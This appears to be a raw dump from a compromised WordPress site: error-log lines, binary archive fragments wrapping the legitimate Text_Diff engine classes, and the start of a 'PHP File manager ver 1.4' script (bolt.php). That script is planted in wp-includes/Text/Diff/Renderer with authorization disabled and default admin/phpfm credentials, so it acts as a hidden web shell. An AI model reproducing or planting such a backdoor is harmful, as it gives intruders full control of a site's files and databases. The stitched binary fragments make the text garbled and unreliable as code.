[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
